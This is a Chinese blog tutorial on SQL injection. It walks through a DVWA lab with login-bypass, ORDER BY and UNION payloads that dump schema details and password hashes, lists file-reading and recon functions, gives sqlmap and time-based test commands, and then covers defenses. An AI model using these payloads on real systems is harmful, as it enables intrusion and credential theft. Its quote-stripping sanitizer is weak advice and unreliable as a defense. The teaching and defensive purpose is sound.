当前位置： 首页 > news >正文

网安系列【6】之[特殊字符] SQL注入揭秘：从入门到防御实战指南

news 2025/7/6 8:19:57

文章目录

  • 一 真实案例
  • 二 SQL注入
  • 三 为什么危害堪比核弹？
  • 四 深入解剖攻击原理
    • 🎯 4.1：探测SQL漏洞的存在
    • 🎯 4.2：数据库信息探测
    • 🎯 4.3：数据库信息探测
    • 🎯 4.4：数据库信息进一步探测
    • 🎯 4.5：数据库表中敏感信息探测
  • 五 防御指南：四重黄金法则
    • 🔒5.1 法则1：参数化查询（最有效！）
    • 🔒5.2 法则2：输入严格过滤
    • 🔒5.3 法则3：最小权限原则
    • 🔒5.4 法则4：深度防御策略
  • 六 检测：你的网站安全吗？

“比忘记WHERE子句更可怕的，是把用户输入直接当代码执行。” —— 每个被SQL注入毒打过的开发者

一 真实案例

  • 场景：某电商网站登录框
  • 正常SQL：
    SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码';

攻击者输入： 用户名：admin' -- ，密码：任意值（如123）。最终SQL变形成：
sql SELECT * FROM users WHERE username = 'admin' -- ' AND password = '123'

  • 👉 结果：攻击者以admin身份直接登录！因为--在SQL中是注释符，密码验证被直接忽略。

二 SQL注入

  • 通俗解释：黑客通过篡改SQL查询结构，把恶意代码“注入”到正常SQL语句中，欺骗数据库执行非法操作。
  • 技术本质：用户输入数据未被正确处理，与代码指令发生混淆，导致数据被当作代码执行。

三 为什么危害堪比核弹？

危害类型具体后果真实案例
数据窃取盗取用户密码、银行卡信息雅虎5亿账户泄露事件
数据篡改修改商品价格、账户余额某电商1元买iPhone漏洞
系统接管获取服务器控制权限某政府系统被植入后门
数据删除清空整个数据库表某公司用户数据遭恶意删除

四 深入解剖攻击原理

  • 以下案例中在DVWA平台low安全水平下进行SQL注入练习。

🎯 4.1：探测SQL漏洞的存在

  • 通过以下的执行结果探测，确定漏洞的存在。
SELECT first_name, last_name FROM users WHERE user_id = '$id';

攻击payload：username = ' OR 1=1 -- 或者username=' or 1=1 #
生成SQL：

SELECT * FROM users WHERE username='' OR 1=1 --;

✅ 攻击效果：条件永真，返回所有用户数据

🎯 4.2：数据库信息探测

  • 判断数据库的列数order by [column_num]
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#';
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2#';
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 3#"
  • 用户输入1' order by 1#，得到返回结果确定数据库表中存在一列，继续增加列数的数值，探测数据表的总列数。如果不存在，会报错 Unknown column '3' in 'order clause' in。用户输入的数据为 1′order by 3#时网页出现报错，证明该数据库表有 2 列/字段
    在这里插入图片描述

🎯 4.3：数据库信息探测

  • 在确定该接口使用的数据库表的列数之后，可以继续使用union进行获取数据库的更多资源。如，上一步测试的数据库表只有两列。
' UNION SELECT user(),database() #

✅ 攻击效果：暴漏当前连接数据库的用户和数据库名

ID: ' UNION SELECT user(),database() #
First name: dvwa_ZfhAQF@172.18.0.3
Surname: dvwa_xmxbmd
  • 常用信息收集函数：
  1. 系统信息函数
@@version 或 version(): 数据库版本。
@@basedir: MySQL安装的基本目录。
@@datadir: 数据文件存储目录。
@@hostname: 服务器主机名。
@@version_compile_os: 操作系统信息。
  1. 数据库信息函数
schema(): 同database()，返回当前数据库名。
table_schema (通过information_schema.tables): 获取所有数据库名。
  1. 用户信息函数
current_user(): 当前用户。
system_user(): 系统用户。
session_user(): 会话用户。
  1. 文件和路径函数
load_file('/etc/passwd'): 读取文件内容（需要权限）。
@@tmpdir: 临时目录。
@@secure_file_priv: 安全文件目录。
  1. 其他实用函数
UUID(): 返回一个通用唯一标识符。
connection_id(): 当前连接的ID。
last_insert_id(): 最后插入的自动增量值。
row_count(): 上一个语句影响的行数。

🎯 4.4：数据库信息进一步探测

  • information_schema是Mysql5.0后新增的元信息数据库，保存Mysql服务器所保存的所有的其他数据库信息，如schemata（数据库信息）、tables（表信息）、columns（列信息）。
  • 联合查询表(查询数据的名称和表的名称);
union select table_name,table_schema from information_schema.tables where table_schema='[database_name]'

SELECT first _name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#';
  • 结合上一步获取到的数据库名dvwa_xmxbmd和使用的表只有两列，可以采用以下语句进行执行，查询目前数据库中的表。
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa_xmxbmd' #

ID: ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa_xmxbmd' #
First name: guestbook
Surname: dvwa_xmxbmd
ID: ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa_xmxbmd' #
First name: users
Surname: dvwa_xmxbmd
  • 继续查看具有意义的users表中的列信息，执行以下输入
1' union select column_name,data_type from information_schema.columns where table_name='users' #

ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: admin
Surname: admin
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: avatar
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: failed_login
Surname: int
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: first_name
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: last_login
Surname: timestamp
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: last_name
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: password
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: user
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: user_id
Surname: int
  • 我们可以看到，users表中存在user和password重要的信息，可以继续进一步查看。

🎯 4.5：数据库表中敏感信息探测

  • 联合查询信息union [query_sql]
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users #';
  • 可以输入以下命令进行注入
1' union select user,password from users #

ID: 1' union select user,password from users #
First name: admin
Surname: admin
ID: 1' union select user,password from users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' union select user,password from users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1' union select user,password from users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' union select user,password from users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' union select user,password from users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
  • 可以在https://www.cmd5.com/解密部分md5加密数据，如admin的密码解密为password。

五 防御指南：四重黄金法则

🔒5.1 法则1：参数化查询（最有效！）

# Python + psycopg2 安全示例
import psycopg2
sql = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(sql, (username, password))

🔒5.2 法则2：输入严格过滤

// Node.js 过滤示例
function sanitize(input) {return input.replace(/['";\\]/g, ''); // 移除敏感字符
}

🔒5.3 法则3：最小权限原则

CREATE USER webuser WITH PASSWORD 'strongPwd!';
GRANT SELECT ON users TO webuser; -- 仅授权必要权限
REVOKE DROP, DELETE ON *.* FROM webuser; -- 回收危险权限

🔒5.4 法则4：深度防御策略

  • Web应用防火墙（WAF）规则示例：
    # Nginx配置拦截SQL注入特征
location / {set $block_sql_inject 0;if ($query_string ~* "union.*select.*\(") {set $block_sql_inject 1;}if ($block_sql_inject = 1) {return 403;}
}

六 检测：你的网站安全吗？

测试工具（仅用于合法授权测试）：

  1. SQLMap：sqlmap -u "http://example.com?id=1"
  2. Burp Suite：拦截请求修改参数为id=1' AND 1=Sleep(5)--
  3. 手动检测：输入单引号'观察是否报错

安全自查表：

  • 所有数据库操作使用参数化查询
  • 错误信息不泄露数据库结构
  • 数据库连接使用最低权限账户
  • 关键操作有二次验证机制
  • 记住：“永远不要信任用户输入，验证、过滤、参数化——这三板斧能救你的系统一命。”
http://www.dtcms.com/a/267287.html

相关文章：

  • cloudflare配合github搭建免费开源影视LibreTV一个独享视频网站 详细教程
  • React Native 亲切的组件们(函数式组件/class组件)和陌生的样式
  • 百度开源文心一言4.5：论文解读和使用入门
  • 闲庭信步使用SV搭建图像测试平台：第三十二课——系列结篇语
  • 【学习笔记】MySQL技术内幕InnoDB存储引擎——第5章 索引与算法
  • MySQL(118)如何使用SSL进行加密连接？
  • 前端进阶之路-从传统前端到VUE-JS（第三期-VUE-JS配套UI组件的选择）（Element Plus的构建）
  • vscode remote-ssh 拓展免密访问 linux虚拟机
  • 二分查找，乘法口诀表，判断闰年，判断素数，使用函数实现数组操作
  • CSS02：四种CSS导入方式
  • 动手实践OpenHands系列学习笔记7：前端界面设计
  • Flyway 介绍以及与 Spring Boot 集成指南
  • CppCon 2018 学习:Surprises In Object Lifetime
  • Linux systemd 服务启动失败Main process exited, code=exited, status=203/EXEC
  • xformers--Transformer优化加速器使用
  • 暑假算法日记第一天
  • App爬虫工具篇-appium配置
  • Spring Boot中POST请求参数校验的实战指南
  • bean注入的过程中，Property of ‘java.util.ArrayList‘ type cannot be injected by ‘List‘
  • 虚拟机网络编译器还原默认设置后VMnet8和VMnet1消失了
  • 第三方软件测试费用受啥影响？规模和测试类型了解下？
  • Python 训练营打卡 Day 53-对抗生成网络
  • Linux关机指令详解：shutdown命令的使用指南
  • Linux：多线程---深入互斥浅谈同步
  • 动手实践OpenHands系列学习笔记5：代理系统架构概述
  • java中，stream的filter和list的removeIf筛选速度比较
  • 力扣网编程55题：跳跃游戏之逆向思维
  • 虚拟机与容器技术详解：VM、LXC、LXD与Docker
  • 【内存】Linux 内核优化实战 - net.ipv4.tcp_max_tw_buckets
  • [创业之路-474]：企业经营层 - 小米与华为多维对比分析（2025年视角），以后不要把这两家公司放在同一个维度上 进行比较了